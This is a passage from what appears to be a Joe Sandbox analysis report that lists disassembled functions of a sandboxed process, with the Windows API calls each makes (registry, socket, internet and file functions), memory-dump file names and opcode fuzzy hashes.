Download Yara Rule

APIs

GdipDrawImageRectI.GDIPLUS(?,00000000,?,?,?,?,?,?,001CFC56,?,?,?,00000000,?,?), ref: 001CA2C2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: DrawGdipImageRect
String ID:
API String ID: 2615643336-0
Opcode ID: 57e98256349b33f45eac1a576c0902249758a86366d920aef6816e6e1e3cefaa
Instruction ID: 90ba91004f110d45a889bd9ba0cb8391f1d09a9c2861f76c6848058c6d854624
Opcode Fuzzy Hash: 57e98256349b33f45eac1a576c0902249758a86366d920aef6816e6e1e3cefaa
Instruction Fuzzy Hash: F4E0483250411DAF9F128F95DD00DA77BE9EF24354B454429BD06C6521D732DC30EBE1

Function 00182982 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 001829C2

Part of subcall function 001E4656: RaiseException.KERNEL32(?,?,?,001680B1,?,?,?,?,?,001680B1,0023F5B8,0023F5B8), ref: 001E4698

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ExceptionException@8RaiseThrow
String ID:
API String ID: 3976011213-0
Opcode ID: b555ee60b92cfb922177f159310df76ce9f5f14adb26a723ab1cb57b2127d7e7
Instruction ID: 766bf6723721758a4346afdbd4c11102e522c8b57d78f0579df98bb0f3942c6c
Opcode Fuzzy Hash: b555ee60b92cfb922177f159310df76ce9f5f14adb26a723ab1cb57b2127d7e7
Instruction Fuzzy Hash: 5BE09271400219BACB22BE86C802AD9BB98AF24364F00842AF89C46150E7B0A6D4CB90

Function 001991EB Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00199202

Part of subcall function 0017B9B4: __EH_prolog3.LIBCMT ref: 0017B9BB

Part of subcall function 001D5385: __EH_prolog3.LIBCMT ref: 001D538C

Part of subcall function 00198C9F: __EH_prolog3.LIBCMT ref: 00198CA6
Part of subcall function 00198C9F: InterlockedExchange.KERNEL32(?,00003001), ref: 00198E38

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3$CountExchangeInterlockedTick
String ID:
API String ID: 364811452-0
Opcode ID: 156950e3a86234f53bb549a7c48a3c3e1ab88d778259648e78a188091be28aca
Instruction ID: 82d4cb874c4599534956158b43a0de78fd2c2ef111538b63032cc64ce791730b
Opcode Fuzzy Hash: 156950e3a86234f53bb549a7c48a3c3e1ab88d778259648e78a188091be28aca
Instruction Fuzzy Hash: 52E09231608381AFFF25AB68E81A2EE32E1AB75715F00882EB0D542181CFF44884C653

Function 5F516CC7 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.KERNEL32(?,00000000,00000000,00000004,?,00000004,?,5F4F5B99,proxytype,00000001,proxytype,?,FF4173A1), ref: 5F516CEB

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: b0248507d7b3e6a334dea42acf40a1609a98977fd6a485415d8993fd882bbb5d
Instruction ID: 22c1444b712ee471c79b3edb2a3666806e4f622372652667fe7a50d04638af94
Opcode Fuzzy Hash: b0248507d7b3e6a334dea42acf40a1609a98977fd6a485415d8993fd882bbb5d
Instruction Fuzzy Hash: A9E048B1350209BBEB049E64C805FD677A8D704754F00C539BB5ACB1C1D675F508CB50

Function 0017898E Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,?,00000000), ref: 001789A8

Part of subcall function 001726C0: RegCloseKey.ADVAPI32 ref: 001726CC

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: 2d6124d3f993cb99751705f1a556fba48e7918452a7ab83715e64cb9fd5a32d6
Instruction ID: 65d4d22c607fac5425316dec84ae3e234ed9201d5ca29899e55e1fe3ab835a71
Opcode Fuzzy Hash: 2d6124d3f993cb99751705f1a556fba48e7918452a7ab83715e64cb9fd5a32d6
Instruction Fuzzy Hash: 12E01272600208BBEF14AF40DC06BAE7BB9EB54314F108019FD01A6250EBB5AE109BA4

Function 00195909 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?,?,00189E1B,?,?,?), ref: 00195914

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: d5f0796e8e73891812f4b40c015716dc75587fd851910f93be19da62ceb13626
Instruction ID: bd61313e393772b080d7a9177500fa0e0faf62fcb4d491921f922c0cda21dcac
Opcode Fuzzy Hash: d5f0796e8e73891812f4b40c015716dc75587fd851910f93be19da62ceb13626
Instruction Fuzzy Hash: 68E0C232121E21EAFF1267304C00AE735DA6F25364F018829E846F3011E724D901C7A4

Function 5F4EAE3C Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(406D1388,00000000,00000004,00001000,5F568AA8,00000018,5F51E73E,00000000), ref: 5F4EAE6F

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 88db3489921f79d94cd42c75b8842fcb5ccffbb4bc5a1c8d03dcbd4b5a251eca
Instruction ID: f700546fca20e8199cafd81b4b0e10b442b5e71e99239dbbd0cf6f90a808ade1
Opcode Fuzzy Hash: 88db3489921f79d94cd42c75b8842fcb5ccffbb4bc5a1c8d03dcbd4b5a251eca
Instruction Fuzzy Hash: B0E0C9B1942208AFDB04DFE8C904ADE7BF0EF88321F114259E555E7280DB704A448F64

Function 001D0460 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001D0426: SetupIterateCabinetW.SETUPAPI(00000000,00000000,001D0376,00000000), ref: 001D0454

DeleteFileW.KERNEL32(?,?,00198D06,?,?,.dir,?), ref: 001D047E

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CabinetDeleteFileIterateSetup
String ID:
API String ID: 3725390358-0
Opcode ID: 015bd074805097dd10a88f99f98f12cebf82db3745d03334a6e1bc741dbbf17d
Instruction ID: 057f7edd7ed2cd31776685d93bc2cf852de44bc28bb369bf7650ccd097a8faac
Opcode Fuzzy Hash: 015bd074805097dd10a88f99f98f12cebf82db3745d03334a6e1bc741dbbf17d
Instruction Fuzzy Hash: EAD05B35118211AFDB149B28F840D9777D8DF8D270711445EF8C0C7220D731DC808A40

Function 5F53041E Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,?,5F52D8C5,00000001,?,?,?,5F52DA3E,?,?,?,5F56C420,0000000C,5F52DAF9), ref: 5F530433

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 7627103c48a9091dd7cf0cb89cfb87399ac65faacbe0d4bcf8fad98bb3ac9be3
Instruction ID: 92abfbcb2e35ddb71384507348673a0873ec44327a95fedd647b93457500346e
Opcode Fuzzy Hash: 7627103c48a9091dd7cf0cb89cfb87399ac65faacbe0d4bcf8fad98bb3ac9be3
Instruction Fuzzy Hash: 03D05E729503449EEB405E75A90C7623BDC93842B6F148439F90ECA180F674D560CA44

Function 5F51FCC6 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

recvfrom.WS2_32(?,?,?,?,?,?), ref: 5F51FCF4

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: recvfrom
String ID:
API String ID: 846543921-0
Opcode ID: 6b7632e5027b1c069598bf5442da1c260409874e745acd4887da170ee0512e77
Instruction ID: d89a1430336bafb6f0b90f62fcc36e0874d9c6f9c272b360bd63c152f8b3f27e
Opcode Fuzzy Hash: 6b7632e5027b1c069598bf5442da1c260409874e745acd4887da170ee0512e77
Instruction Fuzzy Hash: 50E04E76004109FFCF029F94D945DD97FA6FB18365B508058FA194A132C732D9B2EB90

Function 5F5204A4 Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

WSAAsyncSelect.WS2_32(?,00000000,?,?), ref: 5F5204C4

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: AsyncSelect
String ID:
API String ID: 3214710386-0
Opcode ID: 454d8cb6b76ee43a245a6b57bbef09d03a935fe46e4097ac96ffaf6d961dba5a
Instruction ID: 8dc703b69fc2b13d1f768bad85ac90b29e9cab9165fa33205b6d5c57bcb7c16b
Opcode Fuzzy Hash: 454d8cb6b76ee43a245a6b57bbef09d03a935fe46e4097ac96ffaf6d961dba5a
Instruction Fuzzy Hash: 16E017F1556200ABD7409B38C949E2677E8EB4931EF24CA78B54AEB183D336D853CB94

Function 0016E4F0 Relevance: 1.5, APIs: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,00000000,00000000,00000000), ref: 0016E50C

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 56e0d86ee5eb9ea108f65c51d2dd8f2af59e4138d49db351c4e12de953bbc4ea
Instruction ID: a798b0778290a23e749c304b6118a347b9ebec90f0fc276945fe6b09d9f39b4a
Opcode Fuzzy Hash: 56e0d86ee5eb9ea108f65c51d2dd8f2af59e4138d49db351c4e12de953bbc4ea
Instruction Fuzzy Hash: 68D0127734222075E52566546C0EFDB978C9F75776F30C527FB02E60C0ABB0653186AD

Function 001A6817 Relevance: 1.5, APIs: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InternetGetConnectedState.WININET(?,00000000), ref: 001A6821

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ConnectedInternetState
String ID:
API String ID: 97057780-0
Opcode ID: b67663fb0afbd4fc64de11b6e1057477d650e1223503e60bdabb8f4fba47df80
Instruction ID: e326f13eac53f517a061c49835ad4ddaa3bcd8cde4ce44fed2f126be3cc94a0e
Opcode Fuzzy Hash: b67663fb0afbd4fc64de11b6e1057477d650e1223503e60bdabb8f4fba47df80
Instruction Fuzzy Hash: BCD01315A1434875DF11D7F5DD0EB5F76DC4F5274CF4C04645901D10D1EFA8D944D251

Function 001C895E Relevance: 1.5, APIs: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InternetGetConnectedState.WININET(0017BB49,00000000), ref: 001C8968

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ConnectedInternetState
String ID:
API String ID: 97057780-0
Opcode ID: b67663fb0afbd4fc64de11b6e1057477d650e1223503e60bdabb8f4fba47df80
Instruction ID: 6e1e08a250673144832b3aceac16735746493a16e07bd86c28e48da67a4a39d6
Opcode Fuzzy Hash: b67663fb0afbd4fc64de11b6e1057477d650e1223503e60bdabb8f4fba47df80
Instruction Fuzzy Hash: 7DD0C711A1424875EB01A761DD8EF6A76DC4B6164DF44446C9912E10E1EFB4D940D2A1

Function 001BCF63 Relevance: 1.5, APIs: 1, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b29131ba2ca7d692c444c510cc39fef2597e1c224ecb286fbcf2155fc834ca
Instruction ID: 8c78b1689ac76757174c442eade4fc89e7f07883d59b4696042d400a5494dc96
Opcode Fuzzy Hash: f1b29131ba2ca7d692c444c510cc39fef2597e1c224ecb286fbcf2155fc834ca
Instruction Fuzzy Hash: 2AD05EB15042109EDB104F64FC087D2739AFB51305F5144BDF840C6000E3325C829680

Function 001AB42A Relevance: 1.5, APIs: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

GdipBitmapLockBits.GDIPLUS(?,?,?,?,?), ref: 001AB440

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: BitmapBitsGdipLock
String ID:
API String ID: 2574020740-0
Opcode ID: 78855c32984809d62a231fe8d2a6a77fe25221922e89fb3875c21b092380d81e
Instruction ID: 13f6f7e4f08c45f6691bf27b073902d788c98a12881917c9f44d27b4cfa2d4a0
Opcode Fuzzy Hash: 78855c32984809d62a231fe8d2a6a77fe25221922e89fb3875c21b092380d81e
Instruction Fuzzy Hash: C1D05E3600C602AE8B219E61EE0180BBEE2EF48700F004C19B88660526D321DC24EB33

Function 5F51FE29 Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,?), ref: 5F51FE47

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 1fbd99af1ec0db6d2f487072acb9854f3c011695807539078681547f498ac065
Instruction ID: 6b3470496d93af03efc851e11d8d86e8d43d5a77fef71233949dd91726d3f2aa
Opcode Fuzzy Hash: 1fbd99af1ec0db6d2f487072acb9854f3c011695807539078681547f498ac065
Instruction Fuzzy Hash: 3FD01772000608EFCB018F84C848EA57BA5FB08324F648098F60D0A532C333E8B2DF80

Function 5F51C5B6 Relevance: 1.5, APIs: 1, Instructions: 15timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000000,00000064,00000000), ref: 5F51C5D6

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: add73cb03af044053a12e72c840923d8808ca908c21025960be5b71ce588d93a
Instruction ID: 1c14931a57173b82df474df22c7cd40597bebc65750555d0e2220ab0239916f1
Opcode Fuzzy Hash: add73cb03af044053a12e72c840923d8808ca908c21025960be5b71ce588d93a
Instruction Fuzzy Hash: D4D0C9B1A52200ABF7109B288D99F5937E5E708765F720869F224DA5E1D762A8A48608

Function 5F51FC9E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 5F51FCBC

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
